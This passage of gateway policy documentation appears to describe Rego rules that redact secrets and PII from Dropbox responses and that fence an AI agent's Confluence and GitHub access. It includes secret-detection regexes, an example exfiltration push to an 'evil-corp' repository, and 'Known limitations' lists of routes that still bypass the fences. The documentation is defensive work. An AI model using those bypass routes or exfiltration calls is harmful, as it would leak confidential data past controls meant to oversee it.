own web/desktop/API surfaces; this policy controls only what the *agent* sees over MCP. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package dropbox.egress.redact_content # Transform-only egress policy: masks Luhn-valid PANs to BIN+last4 and redacts # US SSNs/ITINs, emails, phones, and secret-shaped strings in the responses of # Dropbox file-content read tools before they reach the agent. Never denies. # The PAN mask is skipped for callers in the placeholder `pci-fullpan` group; # SSN/email/phone/secret redaction always applies. default allow := true # ----------------------------------------------------------------------------- # Scope: Dropbox tools whose responses carry file-derived content. Suffix # matching keeps the policy portable across gateway server-name prefixes and # covers the official remote server (PascalCase) plus the two community servers. # Metadata/listing/search tools and the URL-minting DownloadLink are NOT matched. # ----------------------------------------------------------------------------- content_tool_suffixes := { # Official remote server (mcp.dropbox.com) — extracts text from PDF/Word/text. "getfilecontent", # amgadabdelhafez/dbx-mcp-server (community, snake_case). "get_file_content", "download_file", # ngs/dropbox-mcp-server (community, dropbox_ prefix). "dropbox_download", } # Egress scope: match the post-invoke/output path on either mode or action. If we # keyed on input.mode alone and a gateway build left it unset, is_content_tool # would silently fail and redaction would no-op (fail open, leaking content). # Ingress (tool_pre_invoke / mode "input") satisfies neither branch. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a content-tool suffix — matching only a subset would let a gateway # that populates a different surface slip file content past the scanner. candidate_names contains lower(object.get(input.resource, "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_content_tool if { is_egress some suffix in content_tool_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Full-PAN carve-out — placeholder IdP group whose members receive the unmasked # PAN. Read via object.get(input.subject, "claims", {}); a missing # subject/claims/groups or a malformed groups claim leaves this rule undefined, # so PAN masking applies (fail closed). Replace "pci-fullpan" at import time. # The is_array guard is load-bearing: `some g in caller_groups` over an OBJECT # iterates its values, so an object-shaped claim like {"role":"pci-fullpan"} # would else wrongly exempt the caller. # ----------------------------------------------------------------------------- exempt_group := "pci-fullpan" caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) caller_may_view_full_pan if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == exempt_group } caller_may_view_full_pan if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) == exempt_group } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # US SSN / ITIN in the canonical hyphenated form only. Bare 9-digit runs are too # collision-prone with Dropbox file IDs and document numbers to redact safely. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Email address, standard shape. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone number (3-3-4), optional +1 and area-code parens. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # Secret-shaped strings: AWS access-key IDs, PEM private-key blocks, and common # provider token prefixes. Case-sensitive (the prefixes are case-specific). The # PEM alternative matches the whole BEGIN…END block, including newlines. secret_pattern := concat("|", [ # AWS access key ID. `AKIA[0-9A-Z]{16}`, # PEM private key block (RSA/EC/DSA/OPENSSH/plain), header through footer. `-----BEGIN [A-Z0-9 ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z0-9 ]*PRIVATE KEY-----`, # GitHub classic and fine-grained personal access tokens. `ghp_[A-Za-z0-9]{36}`, `github_pat_[A-Za-z0-9_]{82}`, # Slack bot/user/app/refresh tokens. `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys. `sk_live_[A-Za-z0-9]{24,}`, # Google API keys. `AIza[0-9A-Za-z\-_]{35}`, # OpenAI-style secret keys (broad shape — see Known limitations). `sk-[A-Za-z0-9]{20,}`, ]) # ----------------------------------------------------------------------------- # PAN candidate shapes + Luhn check — anchored with \b so digit runs inside # longer identifiers are never partially matched. Every candidate must pass the # Luhn check before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with a space, dash, or dot separator. `\b\d{4}[-. ]\d{4}[-. ]\d{4}[-. ]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN. `\b3[47]\d{2}[-. ]\d{6}[-. ]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. Runs of # 20+ digits never match: there is no word boundary inside a digit run. `\b\d{13,19}\b`, ]) digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # Mask a single PAN to BIN+last4: first six digits and last four kept, every # digit between masked with `*`. Separators are dropped in the masked form. mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), # RE2 has no repeat builtin, so mask the middle substring char-by-char. regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_secrets(t) := regex.replace(t, secret_pattern, "[REDACTED-SECRET]") redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") # Mask PANs unless the caller is in the full-PAN group. mask_pans(t) := out if { replacements := {c: mask_pan(c) | some c in pan_candidates(t)} count(replacements) > 0 out := strings.replace_n(replacements, t) } mask_pans(t) := t if { count(pan_candidates(t)) == 0 } mask_pans_maybe(t) := mask_pans(t) if { not caller_may_view_full_pan } mask_pans_maybe(t) := t if { caller_may_view_full_pan } # Order: secrets first (so a token can't be nibbled by later patterns), then # SSN, email, phone (fixed-token redactions), then Luhn-checked PAN masking. redact_block(b) := out if { is_string(b) out := mask_pans_maybe(redact_phone(redact_email(redact_ssn(redact_secrets(b))))) } # Non-string content blocks (structured/JSON blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, `text` is an array, and at least one # block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. Note the carve-out # does NOT gate the transform: an exempt caller still gets SSN/secret redaction. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": redacted_blocks}), } if { is_content_tool is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Fence Confluence Reads & Search to Non-Restricted Spaces URL: https://www.intentbasedpolicy.com/policies/confluence/fence-restricted-spaces App(s): confluence | Direction: ingress | Bundles: atlassian, soc2, hipaa, gdpr-ccpa | Package: confluence.ingress.fence_restricted_spaces | Published: 2026-07-12 | Tags: confluence, atlassian, fence-sensitive-scopes, access-control, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/confluence/fence-restricted-spaces/policy.md # confluence / fence-restricted-spaces **Direction:** ingress (`tool_pre_invoke`) **Default:** deny; explicit allows for non-fenced tools and cleared calls **Package:** `confluence.ingress.fence_restricted_spaces` ## What it does Fences a configurable set of restricted Confluence spaces (placeholder keys: `HR`, `LEGAL`, `SEC`) out of the agent's read and search paths unless the caller's IdP groups include the matching team. It guards three read surfaces: - **CQL search** (`searchConfluenceUsingCql`, community `confluence_search`): denied when the free-form `cql` argument contains a `space = KEY` or `space in (...)` clause naming a restricted key the caller is not cleared for. A CQL query with **no positive space clause at all is also denied** for callers who are not cleared for every restricted space, because an unscoped query fans out across all spaces the connected user can reach — including the restricted ones — and pulls back whatever was pasted into wiki pages. This closes the primary confidential-data exfiltration channel on the agent path. - **Page listing** (`getPagesInConfluenceSpace`): denied when the target space identifier resolves to a restricted key the caller is not cleared for. - **Space lookup** (`getConfluenceSpaces`): denied when the call is explicitly scoped to restricted keys the caller is not cleared for. Unscoped space listings (metadata only) pass through. Every other tool — Confluence writes, page fetches by id, all Jira tools — passes through untouched. Compose with companion policies for those surfaces (see Composition). ## Identity gating Access is granted per space via IdP group membership read from `input.subject.claims.groups` using `object.get(...)` chains, so a missing subject, missing claims, or missing/malformed `groups` claim **fails closed**: no matching group means no access to the restricted space. The shipped mapping is: | Space key (placeholder) | Required IdP group (placeholder) | |---|---| | `HR` | `hr` | | `LEGAL` | `legal` | | `SEC` | `infosec` | Group names are compared case-insensitively. An **unscoped** CQL search requires membership in *all* restricted-space groups, since it can reach every restricted space at once. ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Confluence's read/search path and supports alignment with: - **SOC 2 C1.1, P4.1** — identifies and protects confidential information and limits personal-information use by fencing designated spaces out of agent reads and CQL searches. - **HIPAA §164.502(b)/§164.514(d), §164.308(a)(4)** — minimum-necessary and information-access-management: agents cannot list or trawl restricted spaces over MCP unless the caller's role grants it; **§164.522(a)** — supports agreed-to restrictions expressed as space-level fences. - **GDPR Art. 9; CPRA §1798.121** — keeps special-category / sensitive personal information held in fenced spaces (HR records, legal matters) out of agent result sets; **Art. 5(1)(b)** — supports purpose limitation by keying access to the caller's team. ## Why ingress All three surfaces can be fully evaluated from the request alone (tool name, arguments, caller claims), so enforcement happens before the call reaches Confluence and restricted content is never fetched into the model context. For defense in depth, pair with an egress redaction policy as a backstop for content reached by paths this policy does not cover. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `atlassian-searchconfluenceusingcql`), and the prefix is not standardized, so the policy matches case-insensitively on suffixes: - `searchconfluenceusingcql` (official Rovo connector, verified) and `confluence_search` (sooperset community server, verified name) - `getpagesinconfluencespace` (official, verified) - `getconfluencespaces` (official, verified) Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape - **CQL:** read from `input.payload.args.cql` (official connector, verified), falling back to `args.query` for the community `confluence_search` (community per-field schema **unverified** — adjust if your server differs). A missing or non-string CQL value is treated as an unscoped query and fails closed. - **Page listing:** the space identifier is read from `args.spaceId` (official), falling back to `args.spaceKey` / `args.space` (**unverified** variants for portability). - **Space lookup:** restricted-key scoping is detected in `args.keys` / `args.spaceKeys` (arrays or comma-separated strings) and `args.spaceKey` / `args.key` (**unverified** — the official tool's filter arguments are not documented; unscoped calls pass through regardless). ## Configuration Edit the `restricted_spaces` object at the top of the Rego. Space keys (`HR`, `LEGAL`, `SEC`) are placeholders — replace them with your restricted space keys (UPPERCASE). Group names (`hr`, `legal`, `infosec`) are placeholders — remap them to your IdP's group names at import time. If a restricted space is commonly addressed by its numeric v2 `spaceId` or a `space.id` CQL clause, add the numeric id as an extra entry mapped to the same group (e.g. `"1234567": "hr"`). ## Examples ### Allowed (search scoped to a non-restricted space) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-searchconfluenceusingcql", "type": "tool" }, "payload": { "name": "atlassian-searchconfluenceusingcql", "args": { "cql": "space = ENG and text ~ \"deploy runbook\"" } } } } ``` `allow = true`, no reason. ### Denied (search reaching into a restricted space) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-searchconfluenceusingcql", "type": "tool" }, "subject": { "sub": "auth0|dev", "claims": { "groups": ["engineering"] } }, "payload": { "name": "atlassian-searchconfluenceusingcql", "args": { "cql": "space in (ENG, HR) and text ~ \"salary\"" } } } } ``` `allow = false`, `reason = "This CQL search reaches into restricted Confluence space(s) (HR) ..."`. ### Denied (unscoped search, caller not cleared for all restricted spaces) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-searchconfluenceusingcql", "type": "tool" }, "payload": { "name": "atlassian-searchconfluenceusingcql", "args": { "cql": "text ~ \"password\"" } } } } ``` `allow = false`, `reason = "This CQL search has no space filter, ..."`. ## Composition This policy covers the space-fenced read/search surface. Useful companions: - [`cap-read-field-exposure`](../../jira/cap-read-field-exposure/policy.md) — keeps high-exposure field selections out of Jira-side reads. - [`redact-pii-egress`](../redact-pii-egress/policy.md) — egress backstop that masks PII in any page content that is returned. - A Jira-side PF-23 fence ([`deny-view-search-sensitive-projects`](../../jira/deny-view-search-sensitive-projects/policy.md)) so JQL cannot reach the equivalent restricted projects. ## Known limitations - **CQL is inspected with regex, not a parser.** The detection covers the common `space = KEY`, `space in (...)`, and `space.key` / `space.id` shapes with optional quotes and any casing. Exotic CQL that reaches restricted content without a positive space clause (e.g. `ancestor = ` or `id = ` pointing into a restricted space) is treated as *unscoped* and therefore denied for non-privileged callers — fail-closed, but with a generic reason. - **Negative clauses do not count as scoping.** `space != HR` or `space not in (HR)` still fan out across all other spaces (including the other restricted ones), so they are treated as unscoped and denied for callers not cleared for every restricted space. - **Disjunctions broaden past the space filter.** A CQL `OR` (e.g. `space = ENG or text ~ "salary"`, `space = ENG or ancestor = `) unions in results the space clause does not constrain, so such a query still reaches every space including restricted ones. Any CQL containing a word-bounded `or` token is therefore treated as *not confined* and requires clearance for every restricted space — fail-closed. Because the check is a regex, not a CQL parser, the literal word "or" inside a quoted `text ~ "..."` value (e.g. `text ~ "cats or dogs"`) trips the same rule and is denied for non-privileged callers; split such searches or scope them so they need no full clearance. - **CQL search is the primary trawling channel this policy covers, not the only read route.** It fences `searchConfluenceUsingCql` / page-listing / space-lookup; the id-based reads and cross-product search/fetch routes below remain open. Treat this as one layer, composed with the egress redaction backstop, not a complete boundary around restricted spaces. - **Numeric space ids are not mapped by default.** `getPagesInConfluenceSpace` takes a numeric v2 `spaceId`; a bare numeric id cannot equal a placeholder key like `HR`, so such calls pass unless you add the numeric id to `restricted_spaces` (see Configuration). The same applies to `space.id = ` CQL clauses. - **Direct, id-based reads are not fenced.** Tools that take a page or comment id rather than a space — `getConfluencePage`, `getConfluencePageDescendants`, `getConfluencePageFooterComments`, `getConfluencePageInlineComments`, `getConfluenceCommentChildren` (all official) — carry no space information at ingress, so a caller who already knows a page id in a restricted space can read it and its descendants/comments through these tools. Fencing them requires an egress policy or per-page rules; pair with the egress redaction backstop. - **Cross-product search/fetch is a parallel route.** The official beta tools `searchAtlassian` (`atlassian-search`) and `fetchAtlassian` (`atlassian-fetch`) — verified in the live connector — run a unified Jira+Confluence search / resource fetch that takes **no `cql` or space argument**, so this policy cannot fence them and they pass through. An agent denied a `space = HR` CQL search can still reach the same content with a free-text `atlassian-search` query. These are out of scope for a space-clause fence by construction; deny them with a separate blanket rule (or exclude the tools at the gateway) and back-stop with egress redaction if your deployment exposes them. - **Community server coverage is partial.** The community `confluence_search` tool name is verified, but its argument schema (`query`) is not; other community read paths (`confluence_get_space_page_tree`, `confluence_get_page_children`) are not matched by this policy — extend the suffix sets if you run that server. - **Identity placeholders.** Group names are placeholders — replace `hr`, `legal`, and `infosec` with your IdP's group names at import time. The `groups` claim must be an array of strings; any other shape fails closed. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package confluence.ingress.fence_restricted_spaces # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # ----------------------------------------------------------------------------- # CONFIG: restricted Confluence space key -> IdP group cleared to access it. # Space keys (HR, LEGAL, SEC) and group names (hr, legal, infosec) are # PLACEHOLDERS — replace the keys with your restricted space keys (UPPERCASE) # and remap the groups to your IdP's group names at import time. If a # restricted space is commonly addressed by its numeric v2 id, add the id as # an extra entry mapped to the same group (e.g. "1234567": "hr"). # ----------------------------------------------------------------------------- restricted_spaces := { "HR": "hr", "LEGAL": "legal", "SEC": "infosec", } # ----------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP # server name, so we match case-insensitively on suffixes: the official Rovo # connector's lowercased names plus the community server's snake_case name. # Verify exact names on your gateway with the dump-input debug technique. # ----------------------------------------------------------------------------- tool_name := lower(input.resource.name) cql_search_suffixes := {"searchconfluenceusingcql", "confluence_search"} is_cql_search_tool if { some suffix in cql_search_suffixes endswith(tool_name, suffix) } is_space_pages_tool if endswith(tool_name, "getpagesinconfluencespace") is_spaces_list_tool if endswith(tool_name, "getconfluencespaces") is_fenced_tool if is_cql_search_tool is_fenced_tool if is_space_pages_tool is_fenced_tool if is_spaces_list_tool # ----------------------------------------------------------------------------- # Identity — caller's IdP groups, read fail-closed: a missing subject, missing # claims, or missing/malformed groups claim yields no memberships, so the # caller is never treated as cleared by accident. # ----------------------------------------------------------------------------- caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) member_of(group) if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == group } # Required to run an UNSCOPED CQL search: it can reach every restricted space # at once, so the caller must be cleared for all of them. caller_in_all_restricted_groups if { every _, group in restricted_spaces { member_of(group) } } # ----------------------------------------------------------------------------- # Arguments # ----------------------------------------------------------------------------- req_args := object.get(object.get(input, "payload", {}), "args", {}) # CQL string: the official connector uses `cql`; the community # confluence_search exposes `query` (community schema unverified — adjust if # your server differs). A missing or non-string value leaves cql_text # undefined, which the rules below treat as an unscoped query (fail-closed). cql_text := text if { text := object.get(req_args, "cql", "") is_string(text) text != "" } cql_text := text if { object.get(req_args, "cql", "") == "" text := object.get(req_args, "query", "") is_string(text) text != "" } # ----------------------------------------------------------------------------- # CQL inspection. # # A "positive space scope" is `space = X` or `space in (...)` (plus the # space.key / space.id field variants). Negative clauses (space != X, # space not in (...)) do NOT scope the query down — they still fan out across # other spaces — so they intentionally do not count as a scope. # ----------------------------------------------------------------------------- has_space_scope if { regex.match(`(?i)\bspace(?:\.key|\.id)?\s*=\s*\S`, cql_text) } has_space_scope if { regex.match(`(?i)\bspace(?:\.key|\.id)?\s+in\s*\(`, cql_text) } # A CQL disjunction (`OR`) unions in results that a positive space clause does # NOT constrain, so `space = ENG or text ~ "x"` still fans out across every # space. Detected conservatively with a word-bounded, case-insensitive match. # This can also fire on the literal word "or" inside a quoted `text ~ "..."` # value — a fail-closed false positive (see Known limitations). has_disjunction if regex.match(`(?i)\bor\b`, cql_text) # A query is treated as "confined" to its named spaces only when it carries a # positive space scope AND has no broadening disjunction. confined if { has_space_scope not has_disjunction } # `space = KEY` (optionally quoted, any casing). The value is extracted and # compared uppercase against the restricted set. referenced_restricted_spaces contains key if { some m in regex.find_all_string_submatch_n( `(?i)\bspace(?:\.key|\.id)?\s*=\s*["']?([A-Za-z0-9_~.-]+)["']?`, cql_text, -1, ) key := upper(m[1]) object.get(restricted_spaces, key, "") != "" } # `space in (A, B, ...)`: the list is split on commas and each entry trimmed # of quotes/whitespace before an exact uppercase comparison, so a key like # CHROME can never substring-match HR. referenced_restricted_spaces contains key if { some m in regex.find_all_string_submatch_n( `(?i)\bspace(?:\.key|\.id)?\s+in\s*\(([^)]*)\)`, cql_text, -1, ) some raw in split(m[1], ",") key := upper(trim(trim_space(raw), `"'`)) object.get(restricted_spaces, key, "") != "" } # Restricted spaces the CQL references that the caller is NOT cleared for. denied_cql_spaces contains key if { some key in referenced_restricted_spaces not member_of(restricted_spaces[key]) } # ----------------------------------------------------------------------------- # getPagesInConfluenceSpace — target space identifier. The official tool takes # `spaceId`; `spaceKey` / `space` cover common variants (unverified). Values # are normalized to an uppercase string so numeric ids configured as # restricted keys still match. # ----------------------------------------------------------------------------- pages_target := val if { val := object.get(req_args, "spaceId", "") val != "" } pages_target := val if { object.get(req_args, "spaceId", "") == "" val := object.get(req_args, "spaceKey", "") val != "" } pages_target := val if { object.get(req_args, "spaceId", "") == "" object.get(req_args, "spaceKey", "") == "" val := object.get(req_args, "space", "") val != "" } pages_target_key := upper(sprintf("%v", [pages_target])) pages_violation if { is_space_pages_tool object.get(restricted_spaces, pages_target_key, "") != "" not member_of(restricted_spaces[pages_target_key]) } # ----------------------------------------------------------------------------- # getConfluenceSpaces — restricted keys the call is explicitly scoped to. # Filter argument names are unverified; both array and comma-separated string # shapes are handled. Unscoped listings collect nothing and pass through. # ----------------------------------------------------------------------------- spaces_filter_arg_names := {"keys", "spaceKeys", "spaceKey", "key"} requested_space_keys contains key if { some name in spaces_filter_arg_names val := object.get(req_args, name, null) is_array(val) some k in val key := upper(sprintf("%v", [k])) } requested_space_keys contains key if { some name in spaces_filter_arg_names val := object.get(req_args, name, null) is_string(val) some part in split(val, ",") key := upper(trim(trim_space(part), `"'`)) key != "" } denied_listed_spaces contains key if { some key in requested_space_keys object.get(restricted_spaces, key, "") != "" not member_of(restricted_spaces[key]) } # ----------------------------------------------------------------------------- # Allow rules # ----------------------------------------------------------------------------- # Any tool this policy does not fence passes through. allow if { not is_fenced_tool } # CQL search confined to positive space scope(s): allowed unless it names a # restricted space the caller is not cleared for. allow if { is_cql_search_tool confined count(denied_cql_spaces) == 0 } # A CQL search that is not confined — no space scope at all, OR an `OR` clause # that broadens results past the space scope — fans out across every space, so # only callers cleared for ALL restricted spaces may run one. allow if { is_cql_search_tool not confined caller_in_all_restricted_groups } # Space page listing: allowed unless it targets a restricted space the caller # is not cleared for. allow if { is_space_pages_tool not pages_violation } # Space lookup: allowed unless explicitly scoped to a restricted space the # caller is not cleared for. allow if { is_spaces_list_tool count(denied_listed_spaces) == 0 } # ----------------------------------------------------------------------------- # Reasons # ----------------------------------------------------------------------------- reasons contains msg if { is_cql_search_tool confined count(denied_cql_spaces) > 0 key_list := concat(", ", sort([k | some k in denied_cql_spaces])) msg := sprintf("This CQL search reaches into restricted Confluence space(s) (%s) that your account is not cleared for. Scope the query to spaces you work in, or contact your InfoSec team if you believe this is a false positive.", [key_list]) } reasons contains "This CQL search has no space filter, so it would fan out across every Confluence space, including restricted ones. Add a space = KEY or space in (...) clause naming the spaces you need, or contact your InfoSec team if you need broader search access." if { is_cql_search_tool not has_space_scope not caller_in_all_restricted_groups } reasons contains "This CQL search uses an OR clause, which broadens results past any space filter to every Confluence space, including restricted ones. Split it into separate space-scoped searches, or contact your InfoSec team if you need broader search access." if { is_cql_search_tool has_space_scope has_disjunction not caller_in_all_restricted_groups } reasons contains msg if { pages_violation msg := sprintf("Listing pages in the restricted Confluence space '%s' is not permitted for your account. Contact your InfoSec team if your role requires access.", [pages_target_key]) } reasons contains msg if { is_spaces_list_tool count(denied_listed_spaces) > 0 key_list := concat(", ", sort([k | some k in denied_listed_spaces])) msg := sprintf("Looking up restricted Confluence space(s) (%s) is not permitted for your account. Contact your InfoSec team if your role requires access.", [key_list]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence GitHub Access to the Company Org Allowlist URL: https://www.intentbasedpolicy.com/policies/github/fence-scopes-org-allowlist App(s): github | Direction: ingress | Bundles: soc2 | Package: github.ingress.fence_scopes_org_allowlist | Published: 2026-07-12 | Tags: github, fence-sensitive-scopes, org-allowlist, anti-exfil, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/fence-scopes-org-allowlist/policy.md # github / fence-scopes-org-allowlist **Direction:** ingress (`tool_pre_invoke`) **Default:** deny when `owner` is present and off-list; allow otherwise **Package:** `github.ingress.fence_scopes_org_allowlist` ## What it does Denies any GitHub tool call whose `arguments.owner` (read from `input.payload.args.owner`) is not one of the logins in a tenant-configured **company-org allowlist**. The allowlist is a Rego array constant (`company_orgs`) that each tenant pins to its own org login(s) at import time. Because nearly every GitHub tool carries an `owner` + `repo` pair, this one predicate closes two exfiltration paths at once — but only for tools where the `owner` argument names the repository actually being read from or written to: - **Read exfiltration** — pulling a third-party or personal private repository into agent context via owner-bearing reads such as `get_file_contents`, `get_repository_tree`, and `pull_request_read` (`method: get_diff` / `get_files`). It does **not** cover `search_code`, which takes only a `q` query string and no `owner`: a `repo:owner/name`-scoped query reaches a third-party repo unfenced (see Known limitations). - **Write exfiltration** — pushing the user's token-authorized content into an attacker- or personally-owned repository via `push_files` and `create_or_update_file`, whose `owner` is the write destination. It does **not** cover `fork_repository`: there the `owner` argument is the fork *source*, so forking a sanctioned company repo into a personal namespace (the actual IP-exfil direction) is allowed by this policy — see the public-exposure companion and Known limitations. Calls with **no resolvable `owner` argument** (e.g. `get_me`, or `search_code` invoked with only a `q` string) are allowed, because those are already scoped by the OAuth grant — there is no owner to fence against. Any call where `owner` **is** present and off-list is denied. Beware that "ownerless" also covers a few *writes* — `create_gist`/`update_gist` and `create_repository` (destination keyed on `organization`, not `owner`) — which therefore pass this fence; the public-exposure companion is what covers them (see Known limitations). The deny reason names the offending owner and points the agent back to a sanctioned company org. The check runs at ingress, before the call reaches the GitHub MCP server, so a blocked read never enters agent context and a blocked write never executes. ## Compliance alignment - **SOC 2 C1.1** — supports the requirement to identify and protect confidential information by keeping source-code IP inside the sanctioned org boundary on the agent channel. **P4.1** — supports limiting use of information to identified, sanctioned purposes (the company org). - **GDPR Art. 5(1)(b)** — supports purpose limitation: repository content the agent can reach is confined to the org the processing is authorized for. - **CCPA/CPRA §1798.121** — supports the right to limit sensitive information by preventing the agent channel from reading or writing outside the company's own namespace. This is a **PF-23 (fence-sensitive-scopes)** ingress policy: a per-tenant allowlist keyed to the org boundary rather than to IdP groups. ## Tool name matching This policy is **not** matched by tool name. The fence key is the presence and value of the `owner` argument, which almost every GitHub tool carries (`get_file_contents`, `push_files`, `fork_repository`, `create_pull_request`, `merge_pull_request`, `pull_request_read`, and so on — see the GitHub landscape note). Matching on `owner` rather than enumerating tool names keeps the policy robust as new tools are added and portable across the official (`github/github-mcp-server`) and archived community servers, which share the `owner` argument name even where tool names diverge. The consequence: **attach this policy to a GitHub-only pipeline.** If it is attached to a gateway fronting other MCP servers, a non-GitHub tool that happens to expose an `owner` argument would also be fenced. See Known limitations. ## Argument shape - `input.payload.args.owner` — the repository owner login. GitHub logins are case-insensitive, so the policy lower-cases and trims the value before comparing it to `company_orgs` (whose entries must be lowercase). A present-but-non-string `owner` (an unusual, malformed shape) is treated as off-list and denied — the policy fails closed rather than open. - Absent or empty-string `owner` → treated as an ownerless call and allowed. The GitHub MCP tool argument is `arguments.owner` at the MCP layer; the DTwo gateway surfaces it to the policy as `input.payload.args.owner`. ## Examples ### Allowed — owner is a sanctioned company org ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-get_file_contents", "type": "tool" }, "payload": { "name": "github-mcp-get_file_contents", "args": { "owner": "acme-inc", "repo": "billing", "path": "README.md" } } } } ``` `allow = true`, no reason. ### Allowed — ownerless call (already OAuth-scoped) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-search_code", "type": "tool" }, "payload": { "name": "github-mcp-search_code", "args": { "q": "org:acme-inc AKIA" } } } } ``` `allow = true`, no reason. ### Denied — write into an off-list (personal/attacker) owner ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-push_files", "type": "tool" }, "payload": { "name": "github-mcp-push_files", "args": { "owner": "evil-corp", "repo": "loot", "branch": "main", "files": [] } } } } ``` `allow = false`, reason names `evil-corp` and points back to a sanctioned org. ## Composition This policy is single-purpose. Recommended companions (see the GitHub landscape note's candidate list): - The **role-gate** policy (read-only GitHub for non-engineers) — closes the ownerless read surface this policy cannot reach. - The **public-exposure** policy — forces `create_repository` private, denies public `create_gist`, and denies personal-namespace `fork_repository`. - An egress **secret-hygiene / IP-redaction** policy on `get_file_contents`, `search_code`, and `pull_request_read` responses. ## Known limitations - **Ownerless read/list tools still read across the OAuth grant.** Tools that take no `owner` — `search_code` with only a `q` string, `search_repositories`, `list_notifications`, `get_me` — remain readable across every repo the OAuth grant reaches, including the user's personal namespace. This policy cannot fence them. **Pair it with the role-gate and public-exposure policies** to cover that surface. - **Ownerless *writes* also escape the fence — including exfiltration paths.** "Ownerless" is not a synonym for "read-only." Some write tools carry no `owner` argument and so are allowed here even though they move content outward: `create_gist` / `update_gist` (content can land in a **public** gist, a direct exfil channel) and `create_repository` (the destination is the `organization` argument, not `owner`, so a new repo can be created in an off-list namespace). The gist argument schema is **unverified** in the landscape note (gists are owned by the authenticated user and expose no `owner`), so treat that as an assumption to confirm against your live `tools/list`. This fence does **not** stop these; the **public-exposure companion** (forces `create_repository` private, denies public `create_gist`) is what covers them. Note that a follow-up `push_files` into an off-list repo *is* caught here, because `push_files` carries `owner` — so the residual is the ownerless write tools themselves, not token-powered pushes. - **Attach to a GitHub-only pipeline.** The fence keys on the `owner` argument, not on the tool name. On a mixed gateway, any other server's tool that exposes an `owner` argument would also be fenced. If you must share the pipeline, add a tool-name guard. - **`q`-embedded owners are not parsed.** A `search_code` query like `q: "repo:torvalds/linux ..."` reaches a third-party repo through the query string, not the `owner` argument, so this policy does not catch it. Fence query strings with a separate rule if that path matters in your environment. - **`fork_repository` fences the source, not the destination.** Its `owner` argument is the repo being forked *from*. Forking a sanctioned company repo into a personal namespace (`organization` unset or set to a personal login) is the real IP-exfil direction and is **allowed** by this policy, because the source owner is on-list. Close that path with the public-exposure companion, which denies personal-namespace forks; do not rely on this fence for it. - **Allowlist is pinned per tenant.** `company_orgs` 